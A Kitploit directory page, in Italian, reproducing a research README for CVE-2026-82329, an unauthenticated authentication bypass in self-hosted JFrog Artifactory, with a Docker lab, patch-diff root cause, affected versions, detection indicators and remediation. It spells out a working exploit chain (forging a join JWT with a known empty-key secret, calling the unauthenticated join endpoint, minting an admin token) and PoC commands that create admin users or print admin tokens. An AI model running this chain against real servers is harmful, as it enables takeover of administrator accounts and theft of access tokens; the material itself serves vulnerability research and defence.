Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2026-82329-jfrog-artifactory — Lab Docker riproducibile e PoC in Python per CVE-2026-82329, un bypass di autenticazione non autenticato in JFrog Artifactory che porta alla compromissione dell'account amministratore, con analisi del patch-diff e indicazioni di rilevamento. | Kitploit
Strumenti/GitHubGitHub/dinosn/cve-2026-82329-jfrog-artifactory
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingSicurezza CloudAutenticazionePaper e RicercaLab e Pratica
GitHub
dinosn/cve-2026-82329-jfrog-artifactory

cve-2026-82329-jfrog-artifactory

Lab Docker riproducibile e PoC in Python per CVE-2026-82329, un bypass di autenticazione non autenticato in JFrog Artifactory che porta alla compromissione dell'account amministratore, con analisi del patch-diff e indicazioni di rilevamento.

Vedi Repository
1114h 29m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-82329 — Bypass di autenticazione non autenticato in JFrog Artifactory → compromissione admin

CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) · CWE-287 · divulgata il 2026-08-28 · sfruttata in natura.

Un attaccante non autenticato, adiacente alla rete, genera un token di accesso amministratore di piattaforma contro un'installazione JFrog Artifactory self-hosted predefinita. Questa directory contiene un lab Docker riproducibile e un PoC validator parametrizzato tramite URL.

Riprodotto e verificato A/B su artifactory-oss 7.161.19 (vulnerabile, JFrog Access 7.191.11) vs 7.161.20 (corretto, JFrog Access 7.191.14).

La causa principale è stata derivata dalla patch del vendor stesso (diff del bytecode del servizio JFrog Access closed-source tra le due immagini container), poi dimostrata dal vivo — non presa da alcun write-up di terze parti.


Catena di sfruttamento in sintesi (tutta non autenticata)

  1. Forgiare un JWT di "join" del cluster. JFrog Access verifica i JWT di join usando la join key della piattaforma come segreto HMAC. Un bug lascia una join key vuota nell'insieme dei verificatori attendibili su un'installazione predefinita. getSigningKey("") = = — un segreto completamente noto. Quindi chiunque può firmare un JWT di join valido (, , fresco, qualsiasi , ).
pkcs7(<vuoto>, 32)
32 byte di 0x20
alg=HS256
kid = SHA256("")
iat
service_id
skip_node_registration=true
  • POST /access/api/v1/registry/join (RegistryNoAuthResource — nessuna autenticazione) → HTTP 201, restituisce un token SERVICE con scope admin (audience = Access).
  • POST /access/api/v1/tokens con quel token, scope=applied-permissions/admin&audience=* → un token di accesso amministratore di piattaforma completo (questo è il comportamento di "minting di token admin" segnalato in natura).
  • Usarlo — leggere l'intera configurazione del server, elencare/rubare ogni token di accesso, e su Pro/Enterprise creare utenti admin, repository, ecc.
  • root@kitploit:~
    $ python3 poc/cve_2026_82329_poc.py http://TARGET:8082
    [+] Step 1  /registry/join           -> HTTP 201  token SERVICE generato (scp=admin)
    [+] Step 2  /access/api/v1/tokens    -> HTTP 200  token ADMIN (scp=applied-permissions/admin, aud=*)
    [+] Step 3  prova della capacità admin:
          GET /artifactory/api/system/configuration -> HTTP 200 (18284 byte, solo admin; non autenticato=401)
          GET /access/api/v1/tokens (elenca TUTTI i token) -> HTTP 200 (solo admin)
    [=] VULNERABILE - un attaccante non autenticato ha ottenuto ADMIN su questa istanza (CVE-2026-82329).
    

    Causa principale (dal diff della patch)

    JFrog Access 7.191.11 → 7.191.14 ha modificato esattamente 12 classi. Quelle rilevanti per la sicurezza:

    1. Join key vuota accettata silenziosamente — JoinKeyAccess.tryResolveJoinKeys()

    root@kitploit:~
    // VULNERABILE (7.191.11)
    Arrays.stream(joinKey.get().split(",")).map(String::trim).forEach(jKey -> {
        JoinKeyHashPair hashPair = new JoinKeyHashPair(jKey);            // jKey == "" consentito
        joinKeyListValuesForContext.put(hashPair.getHash(), hashPair);   // chiave vuota aggiunta all'insieme attendibile
        log.warn("Adding join key with kid: {} to additional join keys", hashPair.getHash());
    });
    
    // CORRETTO (7.191.14)  -> le voci vuote vengono filtrate
    Arrays.stream(joinKey.get().split(",")).map(String::trim)
          .filter(Strings::isNotBlank)
          .forEach(...);
    

    Senza join key aggiuntive configurate (il default), il valore di configurazione è ""; "".split(",") produce [""], quindi una JoinKeyHashPair vuota (kid = SHA256("") = e3b0c442…b855) entra nella mappa attendibile delle "join key aggiuntive". Anche JoinKeyHashPair è stata indurita per rifiutare null/vuoto nel costruttore.

    Confermato sull'istanza predefinita live — log di avvio del server:

    root@kitploit:~
    o.j.a.s.s.JoinKeyAccess - Adding join key with kid:
        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 to additional join keys
    

    Quel kid è esattamente SHA256("").

    2. La join key vuota è un segreto HMAC noto — JoinKeyUtils.getSigningKey()

    root@kitploit:~
    public static byte[] getSigningKey(String hexEncodedKey) { return hexDecodeAndPad(hexEncodedKey, 32); }
    // padding pkcs7 di una chiave VUOTA: padLength = 32  ->  32 byte, ciascuno == (byte)32 == 0x20
    

    Quindi il JWT di join per la chiave vuota è firmato con HS256 su 32 byte di 0x20 — noto all'attaccante.

    3. L'endpoint di join non autenticato genera un token admin

    RegistryNoAuthResource (@Path("/v1/registry"), senza @Authorized):

    root@kitploit:~
    @POST @Path("join")
    public Response join(String jwtStr) {                    // body = il JWT grezzo
        JwtToken token = this.joinService.join(jwtStr, ...); // valida: iat fresco (<30s) + firma join-key
        return Response.status(CREATED).entity(new JoinResponseModel(token.getTokenValue())).build();
    }
    

    JoinServiceImpl → ServiceTokenProviderImpl.getToken():

    root@kitploit:~
    TokenSpec tokenSpec = TokenSpec.create().audience(accessServiceId)
        .subject(serviceId).owner(serviceId).scope("admin").expiresIn(0L).refreshable(false);
    return tokenService.createInternalTokenWithoutAuthAndNotify(tokenSpec).getAccessToken();
    

    Un token di accesso non scadente, con scope admin, firmato RSA. Il token di servizio con scope("admin") può poi generare un token utente completo applied-permissions/admin tramite POST /access/api/v1/tokens.

    4. Indurimento a conferma — ProjectResource

    Due endpoint sono passati da @Authorized(AuthorizationType.SERVICE) → @Authorized(AuthorizationType.ADMIN) (GET/DELETE {projectKey}/resources), confermando che la primitiva di sfruttamento è un'identità SERVICE forgiata e che la superficie autorizzata a SERVICE era eccessivamente esposta.


    Versioni affette / corrette

    Solo self-hosted (il cloud è già corretto). Vulnerabile ≤ l'ultima release in ciascun ramo sottostante; aggiornare alla fix abbinata:

    RamoVulnerabile ≤Corretto
    7.1117.111.207.111.21
    7.1177.117.277.117.28
    7.1257.125.197.125.20
    7.1337.133.287.133.29
    7.1467.146.377.146.38
    7.1617.161.197.161.20

    La fix include JFrog Access 7.191.14.


    Riproduzione (lab)

    Vedi lab/README.md. In breve:

    root@kitploit:~
    cd lab
    ART_VER=7.161.19 docker compose up -d          # vulnerabile (default); attendere ~3-4 min
    until curl -sf http://localhost:8082/access/api/v1/system/ping >/dev/null; do sleep 5; done
    python3 ../poc/cve_2026_82329_poc.py http://localhost:8082      # -> VULNERABILE
    
    docker compose down
    ART_VER=7.161.20 docker compose up -d          # controllo corretto
    python3 ../poc/cve_2026_82329_poc.py http://localhost:8082      # -> NON VULNERABILE (join HTTP 400)
    

    Artifactory 7.161.x richiede PostgreSQL (il suo servizio Access rifiuta il Derby integrato), quindi il lab include un sidecar postgres.


    Validare un target reale

    root@kitploit:~
    python3 poc/cve_2026_82329_poc.py http://<host-artifactory>:8082
    python3 poc/cve_2026_82329_poc.py http://<host>:8082 --create-admin evil:P@ssw0rd1   # modifica di stato Pro/Ent
    python3 poc/cve_2026_82329_poc.py http://<host>:8082 --token-only                     # stampa un token admin
    

    Puntarlo a qualsiasi front-end del JFrog Router (/access/… raggiungibile). Riporta VULNERABILE (admin ottenuto) o NON VULNERABILE (join rifiutato). Eseguirlo solo contro sistemi su cui sei autorizzato a testare.


    Rilevamento / IOC

    • Log delle richieste di Access: POST /access/api/v1/registry/join da host non cluster, soprattutto seguito immediatamente da POST /access/api/v1/tokens.
    • Log del servizio Access: la riga Adding join key with kid: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 … significa che la join key vuota è attendibile (presente sui default non corretti).
    • Audit di Access / token store: token non scadenti inattesi con scope=applied-permissions/admin, audience=*, o token admin con subject di servizio (sub=<svc>, scp=admin, aud=<access-id>).
    • JWT di join il cui claim kid è uguale a SHA256("") (e3b0c442…b855).

    Rimedio

    Aggiornare alla versione corretta per il proprio ramo (tabella sopra). Inoltre: mettere Artifactory dietro un reverse proxy che non espone /access/api/v1/registry/** a reti non attendibili, e ruotare la join key + revocare i token admin inattesi dopo la patch.


    Artifact in questa directory: poc/ (validator), lab/ (lab Docker), analysis/ (diff delle patch + prove decompilate), EVIDENCE.md (output di esecuzione catturato). Solo per ricerca sulla sicurezza autorizzata.

    Scarica lo strumento